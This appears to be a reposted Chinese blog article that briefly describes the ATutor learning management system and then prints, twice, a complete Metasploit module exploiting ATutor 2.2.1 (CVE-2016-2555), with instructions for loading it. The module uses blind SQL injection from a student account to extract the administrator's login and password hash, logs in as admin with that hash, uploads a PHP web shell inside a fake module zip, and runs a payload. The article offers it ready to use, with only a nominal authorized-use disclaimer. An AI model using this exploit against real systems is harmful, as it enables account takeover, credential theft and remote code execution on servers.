教学内容管理系统ATutor 2.2.1注入漏洞

Atutor是一款开源的“教学内容管理系统”(Learning Content Management System,简称LCMS)。采用PHP、MySQL,HTTP Web 服务器推荐使用Apache。

[[163568]]

Atutor除了教学内容管理的功能,还包括了简化的论坛、聊天室等,另外通过模块安装,还可以扩展功能:

EWiki,ErFurtWiki在Atutor的实现;

ATalker,基于网页的文本朗读工具。

Atutor支持二十多种语言,包括中文,志愿者可以参加翻译等工作。

下面漏洞利用代码基于metasploit平台

使用方法:保存下面的代码,后缀名为.rb,然后放到metasploit脚本目录下,载入即可

以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责。

  1.  
  2. 以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责  
  3.  
  4. Ruby  
  5.  
  6. require 'msf/core' 
  7.    
  8. class Metasploit3 < Msf::Exploit::Remote  
  9.   Rank = ExcellentRanking  
  10.    
  11.   include Msf::Exploit::Remote::HttpClient  
  12.   include Msf::Exploit::FileDropper  
  13.    
  14.   def initialize(info={})  
  15.     super(update_info(info,  
  16.       'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',  
  17.       'Description'    => %q{  
  18.          This module exploits a SQL Injection vulnerability and an authentication weakness  
  19.          vulnerability in ATutor. This essentially means an attacker can bypass authenication  
  20.          and reach the administrators interface where they can upload malcious code.  
  21.    
  22.          You are required to login to the target to reach the SQL Injection, however this  
  23.          can be done as a student account and remote registration is enabled by default.  
  24.       },  
  25.       'License'        => MSF_LICENSE,  
  26.       'Author'         =>  
  27.         [  
  28.           'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code  
  29.         ],  
  30.       'References'     =>  
  31.         [  
  32.           [ 'CVE''2016-2555'  ],  
  33.           [ 'URL''http://www.atutor.ca/' ] # Official Website  
  34.         ],  
  35.       'Privileged'     => false,  
  36.       'Payload'        =>  
  37.         {  
  38.           'DisableNops' => true,  
  39.         },  
  40.       'Platform'       => ['php'],  
  41.       'Arch'           => ARCH_PHP,  
  42.       'Targets'        => [[ 'Automatic', { }]],  
  43.       'DisclosureDate' => 'Mar 1 2016',  
  44.       'DefaultTarget'  => 0))  
  45.    
  46.     register_options(  
  47.       [  
  48.         OptString.new('TARGETURI', [true'The path of Atutor''/ATutor/']),  
  49.         OptString.new('USERNAME', [true'The username to authenticate as']),  
  50.         OptString.new('PASSWORD', [true'The password to authenticate with'])  
  51.       ],self.class)  
  52.   end 
  53.    
  54.   def print_status(msg='')  
  55.     super("#{peer} - #{msg}")  
  56.   end 
  57.    
  58.   def print_error(msg='')  
  59.     super("#{peer} - #{msg}")  
  60.   end 
  61.    
  62.   def print_good(msg='')  
  63.     super("#{peer} - #{msg}")  
  64.   end 
  65.    
  66.   def check 
  67.     # the only way to test if the target is vuln  
  68.     begin 
  69.       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  70.     rescue Msf::Exploit::Failed => e  
  71.       vprint_error(e.message)  
  72.       return Exploit::CheckCode::Unknown  
  73.     end 
  74.    
  75.     if test_injection(test_cookie)  
  76.       return Exploit::CheckCode::Vulnerable  
  77.     else 
  78.       return Exploit::CheckCode::Safe  
  79.     end 
  80.   end 
  81.    
  82.   def create_zip_file  
  83.     zip_file      = Rex::Zip::Archive.new  
  84.     @header       = Rex::Text.rand_text_alpha_upper(4)  
  85.     @payload_name = Rex::Text.rand_text_alpha_lower(4)  
  86.     @plugin_name  = Rex::Text.rand_text_alpha_lower(3)  
  87.    
  88.     path = "#{@plugin_name}/#{@payload_name}.php" 
  89.     register_file_for_cleanup("#{@payload_name}.php""../../content/module/#{path}")  
  90.    
  91.     zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
  92.     zip_file.pack  
  93.   end 
  94.    
  95.   def exec_code  
  96.     send_request_cgi({  
  97.       'method'   => 'GET',  
  98.       'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),  
  99.       'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" 
  100.     })  
  101.   end 
  102.    
  103.   def upload_shell(cookie)  
  104.     post_data = Rex::MIME::Message.new  
  105.     post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")  
  106.     post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")  
  107.     data = post_data.to_s  
  108.     res = send_request_cgi({  
  109.       'uri' => normalize_uri(target_uri.path, "mods""_core""modules""install_modules.php"),  
  110.       'method' => 'POST',  
  111.       'data' => data,  
  112.       'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
  113.       'cookie' => cookie,  
  114.       'agent' => 'Mozilla' 
  115.     })  
  116.    
  117.     if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  
  118.        res = send_request_cgi({  
  119.          'method' => 'GET',  
  120.          'uri'    => normalize_uri(target_uri.path, "mods""_core""modules", res.redirection),  
  121.          'cookie' => cookie,  
  122.          'agent'  => 'Mozilla',  
  123.        })  
  124.        if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")  
  125.           res = send_request_cgi({  
  126.             'method' => 'GET',  
  127.             'uri'    => normalize_uri(target_uri.path, "mods""_core""modules""module_install_step_2.php?mod=#{@plugin_name}"),  
  128.             'cookie' => cookie,  
  129.             'agent'  => 'Mozilla',  
  130.           })  
  131.        return true 
  132.        end 
  133.     end 
  134.    
  135.     # auth failed if we land here, bail  
  136.     fail_with(Failure::Unknown, "Unable to upload php code")  
  137.     return false 
  138.   end 
  139.    
  140.   def get_hashed_password(token, password, bypass)  
  141.     if bypass  
  142.       return Rex::Text.sha1(password + token)  
  143.     else 
  144.       return Rex::Text.sha1(Rex::Text.sha1(password) + token)  
  145.     end 
  146.   end 
  147.    
  148.   def login(username, password, bypass)  
  149.     res = send_request_cgi({  
  150.       'method'   => 'GET',  
  151.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  152.       'agent' => 'Mozilla',  
  153.     })  
  154.    
  155.     token = $1 if res.body =~ /\) \+ \"(.*)\"\);/  
  156.     cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/  
  157.     if bypass  
  158.       password = get_hashed_password(token, passwordtrue)  
  159.     else 
  160.       password = get_hashed_password(token, passwordfalse)  
  161.     end 
  162.    
  163.     res = send_request_cgi({  
  164.       'method'   => 'POST',  
  165.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  166.       'vars_post' => {  
  167.         'form_password_hidden' => password,  
  168.         'form_login' => username,  
  169.         'submit' => 'Login' 
  170.       },  
  171.       'cookie' => cookie,  
  172.       'agent' => 'Mozilla' 
  173.     })  
  174.     cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/  
  175.    
  176.     # this is what happens when no state is maintained by the http client  
  177.     if res && res.code == 302  
  178.        if res.redirection.to_s.include?('bounce.php?course=0')  
  179.         res = send_request_cgi({  
  180.           'method'   => 'GET',  
  181.           'uri'      => normalize_uri(target_uri.path, res.redirection),  
  182.           'cookie' => cookie,  
  183.           'agent' => 'Mozilla' 
  184.         })  
  185.         cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  186.         if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')  
  187.            res = send_request_cgi({  
  188.              'method'   => 'GET',  
  189.              'uri'      => normalize_uri(target_uri.path, res.redirection),  
  190.              'cookie' => cookie,  
  191.              'agent' => 'Mozilla' 
  192.            })  
  193.            cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  194.            return cookie  
  195.           end 
  196.        else res.redirection.to_s.include?('admin/index.php')  
  197.           # if we made it here, we are admin  
  198.           return cookie  
  199.        end 
  200.     end 
  201.    
  202.     # auth failed if we land here, bail  
  203.     fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
  204.     return nil  
  205.   end 
  206.    
  207.   def perform_request(sqli, cookie)  
  208.     # the search requires a minimum of 3 chars  
  209.     sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" 
  210.     rand_key = Rex::Text.rand_text_alpha(1)  
  211.     res = send_request_cgi({  
  212.       'method'   => 'POST',  
  213.       'uri'      => normalize_uri(target_uri.path, "mods""_standard""social""connections.php"),  
  214.       'vars_post' => {  
  215.         "search_friends_#{rand_key}" => sqli,  
  216.         'rand_key' => rand_key,  
  217.         'search' => 'Search People' 
  218.       },  
  219.       'cookie' => cookie,  
  220.       'agent' => 'Mozilla' 
  221.     })  
  222.     return res.body  
  223.   end 
  224.    
  225.    def dump_the_hash(cookie)  
  226.     extracted_hash = "" 
  227.     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" 
  228.     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i  
  229.     for i in 1..login_and_hash_length  
  230.        sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" 
  231.        asciival = generate_sql_and_test(falsefalse, sqli, cookie)  
  232.        if asciival >= 0  
  233.           extracted_hash << asciival.chr  
  234.        end 
  235.     end 
  236.     return extracted_hash.split(":")  
  237.   end 
  238.    
  239.   def get_ascii_value(sql, cookie)  
  240.     lower = 0  
  241.     upper = 126  
  242.     while lower < upper 
  243.        mid = (lower + upper) / 2  
  244.        sqli = "#{sql}>#{mid}" 
  245.        result = perform_request(sqli, cookie)  
  246.        if result =~ /There are \d entries./  
  247.         lower = mid + 1  
  248.        else 
  249.         upper = mid  
  250.        end 
  251.     end 
  252.     if lower > 0 and lower < 126  
  253.        value = lower 
  254.     else 
  255.        sqli = "#{sql}=#{lower}" 
  256.        result = perform_request(sqli, cookie)  
  257.        if result =~ /There are \d entries./  
  258.           value = lower 
  259.        end 
  260.     end 
  261.     return value  
  262.   end 
  263.    
  264.   def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)  
  265.     if do_test  
  266.       if do_true  
  267.         result = perform_request("1=1", cookie)  
  268.         if result =~ /There are \d entries./  
  269.           return true 
  270.         end 
  271.       else not do_true  
  272.         result = perform_request("1=2", cookie)  
  273.         if not result =~ /There are \d entries./  
  274.           return true 
  275.         end 
  276.       end 
  277.     elsif not do_test and sql  
  278.       return get_ascii_value(sql, cookie)  
  279.     end 
  280.   end 
  281.    
  282.   def test_injection(cookie)  
  283.     if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)  
  284.        if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)  
  285.         return true 
  286.        end 
  287.     end 
  288.     return false 
  289.   end 
  290.    
  291.   def report_cred(opts)  
  292.     service_data = {  
  293.       address: rhost,  
  294.       port: rport,  
  295.       service_name: ssl ? 'https' : 'http',  
  296.       protocol: 'tcp',  
  297.       workspace_id: myworkspace_id  
  298.     }  
  299.    
  300.     credential_data = {  
  301.       module_fullname: fullname,  
  302.       post_reference_name: self.refname,  
  303.       private_data: opts[:password],  
  304.       origin_type: :service,  
  305.       private_type: :password,  
  306.       username: opts[:user]  
  307.     }.merge(service_data)  
  308.    
  309.     login_data = {  
  310.       core: create_credential(credential_data),  
  311.       status: Metasploit::Model::Login::Status::SUCCESSFUL,  
  312.       last_attempted_at: Time.now  
  313.     }.merge(service_data)  
  314.    
  315.     create_credential_login(login_data)  
  316.   end 
  317.    
  318.   def exploit  
  319.     student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  320.     print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")  
  321.     report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
  322.    
  323.     print_status("Dumping username and password hash...")  
  324.     # we got admin hash now  
  325.     credz = dump_the_hash(student_cookie)  
  326.     print_good("Got the #{credz[0]} hash: #{credz[1]} !")  
  327.     if credz  
  328.       admin_cookie = login(credz[0], credz[1], true)  
  329.       print_status("Logged in as #{credz[0]}, uploading shell...")  
  330.       # install a plugin  
  331.       if upload_shell(admin_cookie)  
  332.         print_good("Shell upload successful!")  
  333.         # boom  
  334.         exec_code  
  335.       end 
  336.     end 
  337.   end 
  338. end 
  339. require 'msf/core' 
  340.    
  341. class Metasploit3 < Msf::Exploit::Remote  
  342.   Rank = ExcellentRanking  
  343.    
  344.   include Msf::Exploit::Remote::HttpClient  
  345.   include Msf::Exploit::FileDropper  
  346.    
  347.   def initialize(info={})  
  348.     super(update_info(info,  
  349.       'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',  
  350.       'Description'    => %q{  
  351.          This module exploits a SQL Injection vulnerability and an authentication weakness  
  352.          vulnerability in ATutor. This essentially means an attacker can bypass authenication  
  353.          and reach the administrators interface where they can upload malcious code.  
  354.    
  355.          You are required to login to the target to reach the SQL Injection, however this  
  356.          can be done as a student account and remote registration is enabled by default.  
  357.       },  
  358.       'License'        => MSF_LICENSE,  
  359.       'Author'         =>  
  360.         [  
  361.           'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code  
  362.         ],  
  363.       'References'     =>  
  364.         [  
  365.           [ 'CVE''2016-2555'  ],  
  366.           [ 'URL''http://www.atutor.ca/' ] # Official Website  
  367.         ],  
  368.       'Privileged'     => false,  
  369.       'Payload'        =>  
  370.         {  
  371.           'DisableNops' => true,  
  372.         },  
  373.       'Platform'       => ['php'],  
  374.       'Arch'           => ARCH_PHP,  
  375.       'Targets'        => [[ 'Automatic', { }]],  
  376.       'DisclosureDate' => 'Mar 1 2016',  
  377.       'DefaultTarget'  => 0))  
  378.    
  379.     register_options(  
  380.       [  
  381.         OptString.new('TARGETURI', [true'The path of Atutor''/ATutor/']),  
  382.         OptString.new('USERNAME', [true'The username to authenticate as']),  
  383.         OptString.new('PASSWORD', [true'The password to authenticate with'])  
  384.       ],self.class)  
  385.   end 
  386.    
  387.   def print_status(msg='')  
  388.     super("#{peer} - #{msg}")  
  389.   end 
  390.    
  391.   def print_error(msg='')  
  392.     super("#{peer} - #{msg}")  
  393.   end 
  394.    
  395.   def print_good(msg='')  
  396.     super("#{peer} - #{msg}")  
  397.   end 
  398.    
  399.   def check 
  400.     # the only way to test if the target is vuln  
  401.     begin 
  402.       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  403.     rescue Msf::Exploit::Failed => e  
  404.       vprint_error(e.message)  
  405.       return Exploit::CheckCode::Unknown  
  406.     end 
  407.    
  408.     if test_injection(test_cookie)  
  409.       return Exploit::CheckCode::Vulnerable  
  410.     else 
  411.       return Exploit::CheckCode::Safe  
  412.     end 
  413.   end 
  414.    
  415.   def create_zip_file  
  416.     zip_file      = Rex::Zip::Archive.new  
  417.     @header       = Rex::Text.rand_text_alpha_upper(4)  
  418.     @payload_name = Rex::Text.rand_text_alpha_lower(4)  
  419.     @plugin_name  = Rex::Text.rand_text_alpha_lower(3)  
  420.    
  421.     path = "#{@plugin_name}/#{@payload_name}.php" 
  422.     register_file_for_cleanup("#{@payload_name}.php""../../content/module/#{path}")  
  423.    
  424.     zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
  425.     zip_file.pack  
  426.   end 
  427.    
  428.   def exec_code  
  429.     send_request_cgi({  
  430.       'method'   => 'GET',  
  431.       'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),  
  432.       'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" 
  433.     })  
  434.   end 
  435.    
  436.   def upload_shell(cookie)  
  437.     post_data = Rex::MIME::Message.new  
  438.     post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")  
  439.     post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")  
  440.     data = post_data.to_s  
  441.     res = send_request_cgi({  
  442.       'uri' => normalize_uri(target_uri.path, "mods""_core""modules""install_modules.php"),  
  443.       'method' => 'POST',  
  444.       'data' => data,  
  445.       'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
  446.       'cookie' => cookie,  
  447.       'agent' => 'Mozilla' 
  448.     })  
  449.    
  450.     if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  
  451.        res = send_request_cgi({  
  452.          'method' => 'GET',  
  453.          'uri'    => normalize_uri(target_uri.path, "mods""_core""modules", res.redirection),  
  454.          'cookie' => cookie,  
  455.          'agent'  => 'Mozilla',  
  456.        })  
  457.        if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")  
  458.           res = send_request_cgi({  
  459.             'method' => 'GET',  
  460.             'uri'    => normalize_uri(target_uri.path, "mods""_core""modules""module_install_step_2.php?mod=#{@plugin_name}"),  
  461.             'cookie' => cookie,  
  462.             'agent'  => 'Mozilla',  
  463.           })  
  464.        return true 
  465.        end 
  466.     end 
  467.    
  468.     # auth failed if we land here, bail  
  469.     fail_with(Failure::Unknown, "Unable to upload php code")  
  470.     return false 
  471.   end 
  472.    
  473.   def get_hashed_password(token, password, bypass)  
  474.     if bypass  
  475.       return Rex::Text.sha1(password + token)  
  476.     else 
  477.       return Rex::Text.sha1(Rex::Text.sha1(password) + token)  
  478.     end 
  479.   end 
  480.    
  481.   def login(username, password, bypass)  
  482.     res = send_request_cgi({  
  483.       'method'   => 'GET',  
  484.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  485.       'agent' => 'Mozilla',  
  486.     })  
  487.    
  488.     token = $1 if res.body =~ /\) \+ \"(.*)\"\);/  
  489.     cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/  
  490.     if bypass  
  491.       password = get_hashed_password(token, passwordtrue)  
  492.     else 
  493.       password = get_hashed_password(token, passwordfalse)  
  494.     end 
  495.    
  496.     res = send_request_cgi({  
  497.       'method'   => 'POST',  
  498.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  499.       'vars_post' => {  
  500.         'form_password_hidden' => password,  
  501.         'form_login' => username,  
  502.         'submit' => 'Login' 
  503.       },  
  504.       'cookie' => cookie,  
  505.       'agent' => 'Mozilla' 
  506.     })  
  507.     cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/  
  508.    
  509.     # this is what happens when no state is maintained by the http client  
  510.     if res && res.code == 302  
  511.        if res.redirection.to_s.include?('bounce.php?course=0')  
  512.         res = send_request_cgi({  
  513.           'method'   => 'GET',  
  514.           'uri'      => normalize_uri(target_uri.path, res.redirection),  
  515.           'cookie' => cookie,  
  516.           'agent' => 'Mozilla' 
  517.         })  
  518.         cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  519.         if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')  
  520.            res = send_request_cgi({  
  521.              'method'   => 'GET',  
  522.              'uri'      => normalize_uri(target_uri.path, res.redirection),  
  523.              'cookie' => cookie,  
  524.              'agent' => 'Mozilla' 
  525.            })  
  526.            cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  527.            return cookie  
  528.           end 
  529.        else res.redirection.to_s.include?('admin/index.php')  
  530.           # if we made it here, we are admin  
  531.           return cookie  
  532.        end 
  533.     end 
  534.    
  535.     # auth failed if we land here, bail  
  536.     fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
  537.     return nil  
  538.   end 
  539.    
  540.   def perform_request(sqli, cookie)  
  541.     # the search requires a minimum of 3 chars  
  542.     sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" 
  543.     rand_key = Rex::Text.rand_text_alpha(1)  
  544.     res = send_request_cgi({  
  545.       'method'   => 'POST',  
  546.       'uri'      => normalize_uri(target_uri.path, "mods""_standard""social""connections.php"),  
  547.       'vars_post' => {  
  548.         "search_friends_#{rand_key}" => sqli,  
  549.         'rand_key' => rand_key,  
  550.         'search' => 'Search People' 
  551.       },  
  552.       'cookie' => cookie,  
  553.       'agent' => 'Mozilla' 
  554.     })  
  555.     return res.body  
  556.   end 
  557.    
  558.    def dump_the_hash(cookie)  
  559.     extracted_hash = "" 
  560.     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" 
  561.     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i  
  562.     for i in 1..login_and_hash_length  
  563.        sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" 
  564.        asciival = generate_sql_and_test(falsefalse, sqli, cookie)  
  565.        if asciival >= 0  
  566.           extracted_hash << asciival.chr  
  567.        end 
  568.     end 
  569.     return extracted_hash.split(":")  
  570.   end 
  571.    
  572.   def get_ascii_value(sql, cookie)  
  573.     lower = 0  
  574.     upper = 126  
  575.     while lower < upper 
  576.        mid = (lower + upper) / 2  
  577.        sqli = "#{sql}>#{mid}" 
  578.        result = perform_request(sqli, cookie)  
  579.        if result =~ /There are \d entries./  
  580.         lower = mid + 1  
  581.        else 
  582.         upper = mid  
  583.        end 
  584.     end 
  585.     if lower > 0 and lower < 126  
  586.        value = lower 
  587.     else 
  588.        sqli = "#{sql}=#{lower}" 
  589.        result = perform_request(sqli, cookie)  
  590.        if result =~ /There are \d entries./  
  591.           value = lower 
  592.        end 
  593.     end 
  594.     return value  
  595.   end 
  596.    
  597.   def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)  
  598.     if do_test  
  599.       if do_true  
  600.         result = perform_request("1=1", cookie)  
  601.         if result =~ /There are \d entries./  
  602.           return true 
  603.         end 
  604.       else not do_true  
  605.         result = perform_request("1=2", cookie)  
  606.         if not result =~ /There are \d entries./  
  607.           return true 
  608.         end 
  609.       end 
  610.     elsif not do_test and sql  
  611.       return get_ascii_value(sql, cookie)  
  612.     end 
  613.   end 
  614.    
  615.   def test_injection(cookie)  
  616.     if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)  
  617.        if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)  
  618.         return true 
  619.        end 
  620.     end 
  621.     return false 
  622.   end 
  623.    
  624.   def report_cred(opts)  
  625.     service_data = {  
  626.       address: rhost,  
  627.       port: rport,  
  628.       service_name: ssl ? 'https' : 'http',  
  629.       protocol: 'tcp',  
  630.       workspace_id: myworkspace_id  
  631.     }  
  632.    
  633.     credential_data = {  
  634.       module_fullname: fullname,  
  635.       post_reference_name: self.refname,  
  636.       private_data: opts[:password],  
  637.       origin_type: :service,  
  638.       private_type: :password,  
  639.       username: opts[:user]  
  640.     }.merge(service_data)  
  641.    
  642.     login_data = {  
  643.       core: create_credential(credential_data),  
  644.       status: Metasploit::Model::Login::Status::SUCCESSFUL,  
  645.       last_attempted_at: Time.now  
  646.     }.merge(service_data)  
  647.    
  648.     create_credential_login(login_data)  
  649.   end 
  650.    
  651.   def exploit  
  652.     student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  653.     print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")  
  654.     report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
  655.    
  656.     print_status("Dumping username and password hash...")  
  657.     # we got admin hash now  
  658.     credz = dump_the_hash(student_cookie)  
  659.     print_good("Got the #{credz[0]} hash: #{credz[1]} !")  
  660.     if credz  
  661.       admin_cookie = login(credz[0], credz[1], true)  
  662.       print_status("Logged in as #{credz[0]}, uploading shell...")  
  663.       # install a plugin  
  664.       if upload_shell(admin_cookie)  
  665.         print_good("Shell upload successful!")  
  666.         # boom  
  667.         exec_code  
  668.       end 
  669.     end 
  670.   end 
  671. end 
  672.    
  673.  

 

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/145853.html<

(0)
运维的头像运维
上一篇2025-03-10 19:52
下一篇 2025-03-10 19:53

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注